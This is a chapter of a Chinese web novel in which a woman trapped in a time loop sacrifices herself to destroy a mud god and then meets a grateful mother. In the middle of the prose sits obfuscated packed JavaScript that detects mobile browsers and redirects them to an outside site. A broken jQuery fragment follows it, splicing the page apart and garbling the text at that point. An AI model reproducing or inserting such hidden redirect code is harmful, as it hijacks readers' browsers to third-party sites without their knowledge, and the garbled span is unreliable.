36. 第三十六章
作品:《雪山的回响》 坐在高悬半空的缆车上,岑桉脚底升起一股寒意。
她呼吸瞬间变得急促:“我们见过?”
“如果你不记得,那可能是我做了个梦吧。”
荀昼生垂下眼,看不出情绪。
“抱歉,是我冒犯了。”
不对,不对。
岑桉清楚,那不是梦。
所以,循环并没有在这里结束。
为什么没有结束?她不是把一切都妥善处理好了吗?
“你梦里的我,是什么样子?”她声音发涩,仿佛只是说出口就花费了很大的力气。
荀昼生端详了她片刻,似乎是觉得唐突,又移开了目光。
“就是现在这样,和梦里一模一样。”他不自在地抿了抿唇,“是我多有得罪,抱歉,我没有别的意思。”
岑桉呼吸一滞。
她耳畔一阵嗡鸣声,恍惚中好似听到了索道断裂的声音,再一定神,三人还好好地坐在缆车上,什么也没有发生。
别多想,别多想。
她安抚着自己。
索道已经处理好了,除非再有人下手,否则没有断裂的可能性。
岑桉顺着窗往前看去,距离雪山已经很近很近了,只要再坚持一会儿,他们就能顺利抵达经幡柱下,一切就都结束了。
她的目光微转,落到了正下方,却被眼前的景象惊得手脚发凉——荀家村的男女老少都聚在了被她毁掉的阵眼位置,泥沼神就立在那里,仰起了头,岑桉莫名从祂黑漆漆的分不出五官的头上看出了蔑视和鄙夷。
遥远的天际忽然传来了悠长鸣响的钟声。
铛——
铛——
铛——
三声钟响落幕,荀家村村民齐刷刷跪了一地,缆车也抵达了停车点。岑桉心中升起了不妙的预感,慌忙催促着他们下车。
——但已经来不及了。
荀昼生才刚站起身来,就如同灵魂抽离般躺倒在座位上,头砰一声磕在座椅上,再无动静。岑桉颤着手试了他的鼻息,已经没有任何气息了。
“姐,”程杉的声音都在发抖,“他,死了?”
岑桉缓慢地吐出一口长气。
是她遗漏了。
如果许愿本身就是一种仪式呢?
或许早在很久以前,祂就已经布好了一场棋局,荀家村的每个人都是棋盘上的棋子。
他们活时,是祂的信徒,供祂驱使,替祂杀人。
他们死时,是祂的养分,彻底沦为祂的一部分。
只要泥沼神不死,荀家村的所有村民随时都面临着死亡的可能。
不止是荀昼生,还有那么多普通村民。
他们并非纯善,但也绝不是纯恶,以岑桉从小受到的教育来看,没有什么能够以生死裁定他们的罪责,就算有,也应该是法律。
那是活生生的人命啊。
“程杉,对不起,我不能看着他们死。”她闭上眼睛,“你先上雪山吧,我想再来一次。”
程杉不明白,但拒绝得果断:“我要陪着你。”
岑桉深深看了他一眼,不再多言,把背包里所有东西倒了出来。但是没有,没有她预想中的那样东西。
她原以为自己已经摸透了短刀归属人的规律,认为短刀会出现在上一次循环时的最后一位使用者身上,但她空空如也的背包像是狠狠甩了她一巴掌。
没关系,没关系。
岑桉想。
她还有经幡,大不了就用竹竿自裁,就是不知道它这么有灵性,能不能对她造成真实伤害。
当啷——
随着清脆的声响,岑桉的视线偏移到程杉身上。
他虽然不知道老姐在做什么,但有样学样,把他自己和荀昼生包里的东西都倒了个彻底。
于是,一把短刀从荀昼生包里掉了出来。
那是一把沾着泥灰的、岑桉熟到不能再熟的短刀。
短刀落地有声,如同命运的回响。
“程杉,”岑桉笑了下,“闭眼。”
手起刀落,影子一刀两断。
黑暗和疼痛包裹住了岑桉的意识,一瞬之间堕入了无底的深渊。
*
“姐?”
“姐!”
“这是怎么了,都今天第三回了!”
“她没事吧?”
“不知道啊,醒醒啊姐——”
岑桉猝然睁开眼。
“姐你咋了啊,”程杉急得团团转,“要不别上雪山了,咱们回去补觉吧?”
她回过神,环视一周,是在缆车的车厢里。
荀昼生和程杉就坐在上一次的位置,前者微微前倾着身子,后者更是满脸焦急,就差趴在她身上了,两人的视线聚在了她的身上。
缆车才刚刚开出,但已经失去了下车的机会。
“我没事程杉,别担心。”
岑桉伸出手,轻轻地敲了敲程杉的脑门,他委屈地捂住了头,尽管不疼,他还是不懂为什么会挨这一下。
手中的经幡似乎在灼灼发烫,岑桉垂眸,缓缓抚上竿身。
原来冥冥之中,一切都自有安排。
“荀昼生,”她说,“我叫岑桉,桉树的桉。”
她一手拉开了车门:“初次见面,拜托你照顾一下我弟弟。”
荀昼生眉梢皱起:“你要做什么?”
岑桉露出一个释然的笑。
“我去拯救世界。”
她一跃而起,头也不回地跳了下去。【注】
*
岑桉从来不知道,原来焰火近在眼前时,是那样炽热夺目,几乎让她睁不开眼。
许是感知到她内心的决绝,从岑桉跳下缆车时,经幡就燃成了一竿焰火,劈里啪啦地灼烧着,仿佛能吞噬所有的肮脏与黑暗。
“小妹——”
岑桉紧闭着眼,胡乱抓住脑海中飘过的身影,想起谁喊谁。
“婶子——”
“叔——”
“带着大家快撤——”
不枉她喊哑了嗓子,火光托举着她落地时,岑桉的视野内只剩下那摊暴怒狂躁的烂泥。
“愚蠢,愚蠢!你到底想要什么,金银财宝,权势地位,只要你说,我都能给你!”祂发疯一样甩动着身体,泥点四溅,所落之处草木枯萎,生灵涂炭。
“我、要、你、死!”
岑桉迎着乱飞的泥灰而上,任由它们附着在自己的皮肤上、头发上,刺骨难耐的阴冷钻进了身体里,内里从头到脚都透着无法抵御的寒凉,四肢都变得僵硬无力,胸前的焰火还在熊熊燃烧。岑桉自嘲地想,她现在就像个冰箱,外热内冷,可惜肚里连盘菜都没有。
她想妈妈了。
她想吃妈妈做的萝卜炖汤。
出发之前她还梦到了萝卜,如今却不知还能不能再吃上一回。
心绪的繁杂和身体的艰涩丝毫没有阻碍她前进的脚步,岑桉大步如飞,带着跨越千山万壑一往无前的冲劲,一头撞向了泥沼神。
铛——
明明是肉身与泥沼的碰撞,是无畏的焰火吞并了晦暗的污浊,岑桉却听到了钟声回荡。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284334|180469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晃眼的光芒乍现,湮没了眼前的一切。
好温暖。
像妈妈的怀抱。
身上的冷意渐渐消退,岑桉徜徉在焰火的光辉中,慢慢合上了眼。
*
“姑娘?”
“姑娘?”
“怎么还昏迷着,是不是有什么后遗症?”
是个焦灼的陌生女声。
“放宽心,孩子,她已经没事了,只是太累了。”
好空灵的声音,仿佛超脱于世俗之外,在天上打了个转才传入人耳。
“好孩子,该醒来了。”
宛若天音,声声入心,唤醒了她残存的意识。
岑桉缓缓睁开了眼。
四周一片无暇雪色,恍若天境。
她还活着?
还是已经彻底地死去了?
这里是哪儿,天堂吗?
那程杉呢,他活下来了吗?
“程杉?”
岑桉试探着唤出他的名字。
“你醒了。”
回应她的是个和蔼的女声。
“都结束了,你安全了,别担心,你弟弟现在也很安全。”
岑桉循声望去。
昏迷时耳畔有两个分明的声音,此刻出现在她眼前的却只有一位妇人。
该如何形容眼前这位女性呢。
她一双眼沧桑却也明澈,眉宇间是化不开的愁绪。岁月毫不留情地在她脸上留下了痕迹,但却无法磨灭风霜下的坚韧和温柔。
岑桉与她素未谋面,此刻心头却蹦出一个名字——不,不应该说是名字,准确来讲,是一个身份。
“您是,荀小妹的妈妈?”
“哎,”她轻声应下,嘴角弯弯,“山今,你好,终于见到你了。”
岑桉一愣。
“荀小妹跟您说起过我?”
“和我的女儿无关。”妇人歉疚地看着她,“而且我也没想到,囡囡会找上你,还把你拉进了这场纠葛。是我们对不住你,给你添了好些麻烦,但我还是要说一声谢谢,谢谢你救了我们。”
“可我没做什么。”岑桉诚恳道,“我是答应她要救您,但我根本没有头绪,后来又发生了那么多事,我做的这些都是为了救我的弟弟。”
她不想让人承情,也没想往自己身上揽功。
在亲人的生死面前,她没能顾得上对荀小妹的承诺,她有过错,她认,但她不是圣人。
圣人慈悲善良无私奉献,以天下人为己任,岑桉却没有办法不把自己的至亲至爱放在最先。
哪怕再重来无数次,她也不会后悔自己的选择。
妇人摇了摇头。
“不,你救过我。”她的脸上浮现出怀念之色,“山今,我认识你很久很久了。”
久到她初见便如重逢,对这个素未谋面的女孩心生关怀。
久到,她已经记不清具体的时间,却清晰记得那些鼓励的话语。
这个迢迢千里而来的女孩,曾给过她莫大的勇气,支撑着她走过了很长一段路。
终于见面了。
“我是燕子。”
妇人有些别扭地说出了自己的网名。
她不自然地捋了捋鬓边的黑发,试图把里面的白丝掩盖起来。
“嗯……数数得有六七年了吧,一直想跟你当面说句谢谢,但怎么也找不到机会。雪山娘娘保佑,你健健康康平平安安的,已经长成大姑娘了。”
妇人笑弯了眉眼,额角的褶皱也舒展开来。
“好姑娘,谢谢你。”